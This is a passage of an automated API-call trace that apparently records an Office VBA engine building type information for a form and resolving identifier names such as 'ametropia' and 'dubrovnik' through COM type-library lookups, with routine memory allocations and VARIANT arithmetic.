out: ppTypeAttr=0x2643b8, pDummy=0x800) returned 0x0 [0018.096] ITypeInfo:LocalReleaseTypeAttr (This=0x75532a8) returned 0x0 [0018.096] IUnknown:Release (This=0x75532a8) returned 0x0 [0018.096] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x800, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x75532a8) returned 0x0 [0018.096] ITypeInfo:RemoteGetTypeAttr (in: This=0x75532a8, ppTypeAttr=0x2643b8, pDummy=0x264310 | out: ppTypeAttr=0x2643b8, pDummy=0x264310*=0x264400) returned 0x0 [0018.096] ITypeInfo:LocalReleaseTypeAttr (This=0x75532a8) returned 0x0 [0018.096] IUnknown:Release (This=0x75532a8) returned 0x0 [0018.096] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0xb00, ppTInfo=0x264240 | out: ppTInfo=0x264240*=0x7553250) returned 0x0 [0018.096] ITypeInfo:RemoteGetTypeAttr (in: This=0x7553250, ppTypeAttr=0x264258, pDummy=0x264220 | out: ppTypeAttr=0x264258, pDummy=0x264220*=0x264260) returned 0x0 [0018.096] ITypeInfo:LocalReleaseTypeAttr (This=0x7553250) returned 0x0 [0018.096] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.096] IUnknown:AddRef (This=0x7553250) returned 0x2 [0018.096] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.097] IUnknown:Release (This=0x7553250) returned 0x1 [0018.097] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7553250, phRefType=0x264290*=0x2b77b30) returned 0x0 [0018.097] IUnknown:Release (This=0x7553250) returned 0x0 [0018.097] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0xb00, ppTInfo=0x264240 | out: ppTInfo=0x264240*=0x7553250) returned 0x0 [0018.097] ITypeInfo:RemoteGetTypeAttr (in: This=0x7553250, ppTypeAttr=0x264258, pDummy=0x264220 | out: ppTypeAttr=0x264258, pDummy=0x264220*=0x264260) returned 0x0 [0018.097] ITypeInfo:LocalReleaseTypeAttr (This=0x7553250) returned 0x0 [0018.097] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.097] IUnknown:AddRef (This=0x7553250) returned 0x2 [0018.097] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.097] IUnknown:Release (This=0x7553250) returned 0x1 [0018.097] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7553250, phRefType=0x264290*=0x61) returned 0x0 [0018.097] IUnknown:Release (This=0x7553250) returned 0x0 [0018.097] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x800, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x75532a8) returned 0x0 [0018.097] ITypeInfo:RemoteGetTypeAttr (in: This=0x75532a8, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.097] ITypeInfo:LocalReleaseTypeAttr (This=0x75532a8) returned 0x0 [0018.097] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.097] IUnknown:AddRef (This=0x75532a8) returned 0x2 [0018.097] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.097] IUnknown:Release (This=0x75532a8) returned 0x1 [0018.097] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x75532a8, phRefType=0x264220*=0x264260) returned 0x0 [0018.097] IUnknown:Release (This=0x75532a8) returned 0x0 [0018.097] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x800, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x75532a8) returned 0x0 [0018.097] ITypeInfo:RemoteGetTypeAttr (in: This=0x75532a8, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.097] ITypeInfo:LocalReleaseTypeAttr (This=0x75532a8) returned 0x0 [0018.097] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.097] IUnknown:AddRef (This=0x75532a8) returned 0x2 [0018.097] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.097] IUnknown:Release (This=0x75532a8) returned 0x1 [0018.097] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x75532a8, phRefType=0x264220*=0x6d) returned 0x0 [0018.097] IUnknown:Release (This=0x75532a8) returned 0x0 [0018.097] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.097] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0xe, pFuncDesc=0x743eeb8) returned 0x0 [0018.097] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0xe, rgszNames=0x7321b60*="Scroll", cNames=0x7) returned 0x0 [0018.097] ITypeInfo:GetMops (in: This=0x7552b70, memid=772, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.097] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=772, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.097] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0xe, dwHelpContext=0x1e8552) returned 0x0 [0018.097] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.097] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xf, ppFuncDesc=0x264338, pDummy=0x11a80e960039 | out: ppFuncDesc=0x264338, pDummy=0x11a80e960039) returned 0x0 [0018.097] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=773, rgBstrNames=0x75748a0, cMaxNames=0x2, pcNames=0x264340 | out: rgBstrNames=0x75748a0*="Zoom", pcNames=0x264340*=0x2) returned 0x0 [0018.097] _wcsicmp (_String1="Zoom", _String2="Initialize") returned 17 [0018.097] _wcsicmp (_String1="Zoom", _String2="Resize") returned 8 [0018.097] _wcsicmp (_String1="Zoom", _String2="QueryClose") returned 9 [0018.097] _wcsicmp (_String1="Zoom", _String2="Activate") returned 25 [0018.097] _wcsicmp (_String1="Zoom", _String2="Deactivate") returned 22 [0018.097] _wcsicmp (_String1="Zoom", _String2="Terminate") returned 6 [0018.097] _wcsicmp (_String1="Zoom", _String2="Object") returned 11 [0018.097] _wcsicmp (_String1="Zoom", _String2="Name") returned 12 [0018.098] _wcsicmp (_String1="Zoom", _String2="Parent") returned 10 [0018.098] _wcsicmp (_String1="Zoom", _String2="Delete") returned 22 [0018.098] _wcsicmp (_String1="Zoom", _String2="Index") returned 17 [0018.098] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.098] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0xf, pFuncDesc=0x74f0e78) returned 0x0 [0018.098] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0xf, rgszNames=0x75748a0*="Zoom", cNames=0x2) returned 0x0 [0018.098] ITypeInfo:GetMops (in: This=0x7552b70, memid=773, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.098] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=773, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.098] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0xf, dwHelpContext=0x1e8570) returned 0x0 [0018.098] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.098] ITypeInfo:GetRefTypeOfImplType (in: This=0x7552b70, index=0x0, pRefType=0x264308 | out: pRefType=0x264308*=0xd) returned 0x0 [0018.098] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0xd, ppTInfo=0x2642c8 | out: ppTInfo=0x2642c8*=0x7481fd8) returned 0x0 [0018.098] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.098] IUnknown:AddRef (This=0x7481fd8) returned 0x5 [0018.098] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.098] IUnknown:Release (This=0x7481fd8) returned 0x4 [0018.098] ITypeInfo:GetImplTypeFlags (in: This=0x7552b70, index=0x0, pImplTypeFlags=0x2642c4 | out: pImplTypeFlags=0x2642c4*=0) returned 0x0 [0018.098] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7481fd8, phRefType=0x264308*=0xd) returned 0x0 [0018.098] ICreateTypeInfo:AddImplType (This=0x759ea60, index=0x0, hreftype=0x79) returned 0x0 [0018.101] IUnknown:Release (This=0x7481fd8) returned 0x3 [0018.101] ITypeInfo:LocalReleaseTypeAttr (This=0x7552b70) returned 0x0 [0018.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420ae00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0018.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420ae00, cbMultiByte=-1, lpWideCharStr=0x75edfa8, cchWideChar=11 | out: lpWideCharStr="Initialize") returned 11 [0018.101] _wcsicmp (_String1="Initialize", _String2="Object") returned -6 [0018.101] _wcsicmp (_String1="Initialize", _String2="Name") returned -5 [0018.101] _wcsicmp (_String1="Initialize", _String2="Parent") returned -7 [0018.101] _wcsicmp (_String1="Initialize", _String2="Delete") returned 5 [0018.101] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.101] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x10, pFuncDesc=0x1c5c8a0) returned 0x0 [0018.101] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x10, rgszNames=0x75fded0*="Initialize", cNames=0x1) returned 0x0 [0018.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a980, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0018.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a980, cbMultiByte=-1, lpWideCharStr=0x75edfa8, cchWideChar=7 | out: lpWideCharStr="Resize") returned 7 [0018.101] _wcsicmp (_String1="Resize", _String2="Object") returned 3 [0018.101] _wcsicmp (_String1="Resize", _String2="Name") returned 4 [0018.101] _wcsicmp (_String1="Resize", _String2="Parent") returned 2 [0018.101] _wcsicmp (_String1="Resize", _String2="Delete") returned 14 [0018.101] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.101] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x11, pFuncDesc=0x1c5c8a0) returned 0x0 [0018.102] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x11, rgszNames=0x75fded0*="Resize", cNames=0x1) returned 0x0 [0018.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420adc8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0018.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420adc8, cbMultiByte=-1, lpWideCharStr=0x75edfa8, cchWideChar=11 | out: lpWideCharStr="QueryClose") returned 11 [0018.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420ad20, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0018.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420ad20, cbMultiByte=6, lpWideCharStr=0x6f802c8, cchWideChar=7 | out: lpWideCharStr="Cancel") returned 6 [0018.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420ad32, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0018.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420ad32, cbMultiByte=9, lpWideCharStr=0x75ee098, cchWideChar=10 | out: lpWideCharStr="CloseMode") returned 9 [0018.102] _wcsicmp (_String1="QueryClose", _String2="Object") returned 2 [0018.102] _wcsicmp (_String1="QueryClose", _String2="Name") returned 3 [0018.102] _wcsicmp (_String1="QueryClose", _String2="Parent") returned 1 [0018.102] _wcsicmp (_String1="QueryClose", _String2="Delete") returned 13 [0018.102] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.102] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x12, pFuncDesc=0x1c5c8a0) returned 0x0 [0018.102] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x12, rgszNames=0x7575240*="QueryClose", cNames=0x3) returned 0x0 [0018.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420adb8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0018.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420adb8, cbMultiByte=-1, lpWideCharStr=0x75edfa8, cchWideChar=9 | out: lpWideCharStr="Activate") returned 9 [0018.103] _wcsicmp (_String1="Activate", _String2="Object") returned -14 [0018.103] _wcsicmp (_String1="Activate", _String2="Name") returned -13 [0018.103] _wcsicmp (_String1="Activate", _String2="Parent") returned -15 [0018.103] _wcsicmp (_String1="Activate", _String2="Delete") returned -3 [0018.103] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.103] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x13, pFuncDesc=0x1c5c8a0) returned 0x0 [0018.103] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x13, rgszNames=0x75fded0*="Activate", cNames=0x1) returned 0x0 [0018.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a7c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0018.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420a7c0, cbMultiByte=-1, lpWideCharStr=0x75edfa8, cchWideChar=11 | out: lpWideCharStr="Deactivate") returned 11 [0018.103] _wcsicmp (_String1="Deactivate", _String2="Object") returned -11 [0018.103] _wcsicmp (_String1="Deactivate", _String2="Name") returned -10 [0018.103] _wcsicmp (_String1="Deactivate", _String2="Parent") returned -12 [0018.103] _wcsicmp (_String1="Deactivate", _String2="Delete") returned -11 [0018.103] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.103] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x14, pFuncDesc=0x1c5c8a0) returned 0x0 [0018.103] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x14, rgszNames=0x75fded0*="Deactivate", cNames=0x1) returned 0x0 [0018.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420ae38, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0018.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420ae38, cbMultiByte=-1, lpWideCharStr=0x75edfa8, cchWideChar=10 | out: lpWideCharStr="Terminate") returned 10 [0018.103] _wcsicmp (_String1="Terminate", _String2="Object") returned 5 [0018.103] _wcsicmp (_String1="Terminate", _String2="Name") returned 6 [0018.103] _wcsicmp (_String1="Terminate", _String2="Parent") returned 4 [0018.103] _wcsicmp (_String1="Terminate", _String2="Delete") returned 16 [0018.103] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.103] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x15, pFuncDesc=0x1c5c8a0) returned 0x0 [0018.103] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x15, rgszNames=0x75fded0*="Terminate", cNames=0x1) returned 0x0 [0018.103] ICreateTypeInfo:LayOut (This=0x759ea60) returned 0x0 [0018.103] IUnknown:QueryInterface (in: This=0x759e828, riid=0x7fef41cf338*(Data1=0x20401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264758 | out: ppvObject=0x264758*=0x759e828) returned 0x0 [0018.103] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41cf338*(Data1=0x20401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2646f0 | out: ppvObject=0x2646f0*=0x759ea68) returned 0x0 [0018.104] IUnknown:Release (This=0x7552b70) returned 0x2 [0018.104] IUnknown:Release (This=0x759ea68) returned 0x2 [0018.104] IUnknown:Release (This=0x759ea60) returned 0x1 [0018.104] ITypeLib:LocalReleaseTLibAttr (This=0x747bbb0) returned 0x1 [0018.104] IUnknown:Release (This=0x747bbb0) returned 0x8 [0018.104] IUnknown:Release (This=0x759e828) returned 0x3 [0018.104] IUnknown:Release (This=0x7552b70) returned 0x1 [0018.104] IUnknown:Release (This=0x747be88) returned 0x1 [0018.104] IUnknown:QueryInterface (in: This=0x759e828, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264668 | out: ppvObject=0x264668*=0x0) returned 0x80004002 [0018.104] IUnknown:QueryInterface (in: This=0x759e828, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2646e0 | out: ppvObject=0x2646e0*=0x0) returned 0x80004002 [0018.104] IUnknown:QueryInterface (in: This=0x759e828, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264650 | out: ppvObject=0x264650*=0x0) returned 0x80004002 [0018.104] IUnknown:QueryInterface (in: This=0x759e828, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2646d0 | out: ppvObject=0x2646d0*=0x0) returned 0x80004002 [0018.104] ITypeInfo:RemoteGetTypeAttr (in: This=0x759e828, ppTypeAttr=0x264658, pDummy=0x10 | out: ppTypeAttr=0x264658, pDummy=0x10) returned 0x0 [0018.104] ITypeInfo:LocalReleaseTypeAttr (This=0x759e828) returned 0x0 [0018.104] IUnknown:AddRef (This=0x759e828) returned 0x4 [0018.104] IUnknown:QueryInterface (in: This=0x759ea68, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264668 | out: ppvObject=0x264668*=0x0) returned 0x80004002 [0018.104] IUnknown:QueryInterface (in: This=0x759ea68, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2646e0 | out: ppvObject=0x2646e0*=0x0) returned 0x80004002 [0018.104] IUnknown:QueryInterface (in: This=0x759ea68, riid=0x7fef41cf088*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264650 | out: ppvObject=0x264650*=0x0) returned 0x80004002 [0018.104] IUnknown:QueryInterface (in: This=0x759ea68, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2646d0 | out: ppvObject=0x2646d0*=0x0) returned 0x80004002 [0018.104] ITypeInfo:RemoteGetTypeAttr (in: This=0x759ea68, ppTypeAttr=0x264658, pDummy=0x10 | out: ppTypeAttr=0x264658, pDummy=0x10) returned 0x0 [0018.104] ITypeInfo:LocalReleaseTypeAttr (This=0x759ea68) returned 0x0 [0018.104] IUnknown:AddRef (This=0x759ea68) returned 0x2 [0018.104] IUnknown:Release (This=0x759e828) returned 0x3 [0018.104] IUnknown:Release (This=0x759ea68) returned 0x1 [0018.105] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x8300000 [0018.106] VarAdd (in: pvarLeft=0x7462578, pvarRight=0x7462590, pvarResult=0x7462560 | out: pvarResult=0x7462560) returned 0x0 [0018.106] VarCmp (pvarLeft=0x7462560, pvarRight=0x7462548, lcid=0x1, dwFlags=0x30001) returned 0x2 [0018.106] VarMul (in: pvarLeft=0x7462518, pvarRight=0x7462500, pvarResult=0x74624e8 | out: pvarResult=0x74624e8) returned 0x0 [0018.106] VarSub (in: pvarLeft=0x74624d0, pvarRight=0x74624e8, pvarResult=0x74624b8 | out: pvarResult=0x74624b8) returned 0x0 [0018.106] VarMul (in: pvarLeft=0x74624b8, pvarRight=0x74624a0, pvarResult=0x7462488 | out: pvarResult=0x7462488) returned 0x0 [0018.106] VarCmp (pvarLeft=0x7462488, pvarRight=0x7462470, lcid=0x1, dwFlags=0x30001) returned 0x2 [0018.106] VarAnd (in: pvarLeft=0x7462530, pvarRight=0x7462458, pvarResult=0x7462440 | out: pvarResult=0x7462440) returned 0x0 [0018.107] VarAdd (in: pvarLeft=0x7462578, pvarRight=0x7462590, pvarResult=0x7462560 | out: pvarResult=0x7462560) returned 0x0 [0018.107] VarCmp (pvarLeft=0x7462560, pvarRight=0x7462548, lcid=0x1, dwFlags=0x30001) returned 0x2 [0018.107] VarMul (in: pvarLeft=0x7462500, pvarRight=0x74624e8, pvarResult=0x74624d0 | out: pvarResult=0x74624d0) returned 0x0 [0018.107] VarSub (in: pvarLeft=0x74624b8, pvarRight=0x74624d0, pvarResult=0x74624a0 | out: pvarResult=0x74624a0) returned 0x0 [0018.107] VarMul (in: pvarLeft=0x74624a0, pvarRight=0x7462488, pvarResult=0x7462470 | out: pvarResult=0x7462470) returned 0x0 [0018.107] VarCmp (pvarLeft=0x7462518, pvarRight=0x7462470, lcid=0x1, dwFlags=0x30001) returned 0x0 [0018.107] VarNot (in: pvarIn=0x7462458, pvarResult=0x7462440 | out: pvarResult=0x7462440) returned 0x0 [0018.107] VarAnd (in: pvarLeft=0x7462530, pvarRight=0x7462440, pvarResult=0x7462428 | out: pvarResult=0x7462428) returned 0x0 [0018.107] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x8320000 [0018.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75500c4, cbMultiByte=6, lpWideCharStr=0x83200dc, cchWideChar=14 | out: lpWideCharStr="stroll") returned 6 [0018.108] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ametropia") returned 0x108ec2 [0018.108] strcpy_s (in: _Dst=0x263a50, _DstSize=0xa, _Src="ametropia" | out: _Dst="ametropia") returned 0x0 [0018.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263a50, cbMultiByte=10, lpWideCharStr=0x2638b0, cchWideChar=10 | out: lpWideCharStr="ametropia") returned 10 [0018.108] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0018.108] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="ametropia", lHashVal=0x108ec2, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.108] IUnknown:Release (This=0x72d9b00) returned 0x6 [0018.108] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.108] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="ametropia", lHashVal=0x108ec2, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.108] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.108] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.108] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="ametropia", lHashVal=0x108ec2, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.108] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.108] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.108] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="ametropia", lHashVal=0x108ec2, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.108] IUnknown:Release (This=0x7479720) returned 0x5 [0018.109] IUnknown:Release (This=0x6fae300) returned 0x2 [0018.109] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ametropia") returned 0x108ec2 [0018.109] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_ametropia") returned 0x308886 [0018.109] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0018.109] IUnknown:Release (This=0x72d9b00) returned 0x6 [0018.109] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dubrovnik") returned 0x10d5ee [0018.109] strcpy_s (in: _Dst=0x263a50, _DstSize=0xa, _Src="dubrovnik" | out: _Dst="dubrovnik") returned 0x0 [0018.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263a50, cbMultiByte=10, lpWideCharStr=0x2638b0, cchWideChar=10 | out: lpWideCharStr="dubrovnik") returned 10 [0018.109] IUnknown:AddRef (This=0x72d9b00) returned 0x7 [0018.109] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="dubrovnik", lHashVal=0x10d5ee, pfName=0x263a08, pBstrLibName=0x2638b0 | out: pfName=0x263a08*=0, pBstrLibName=0x2638b0) returned 0x0 [0018.109] IUnknown:Release 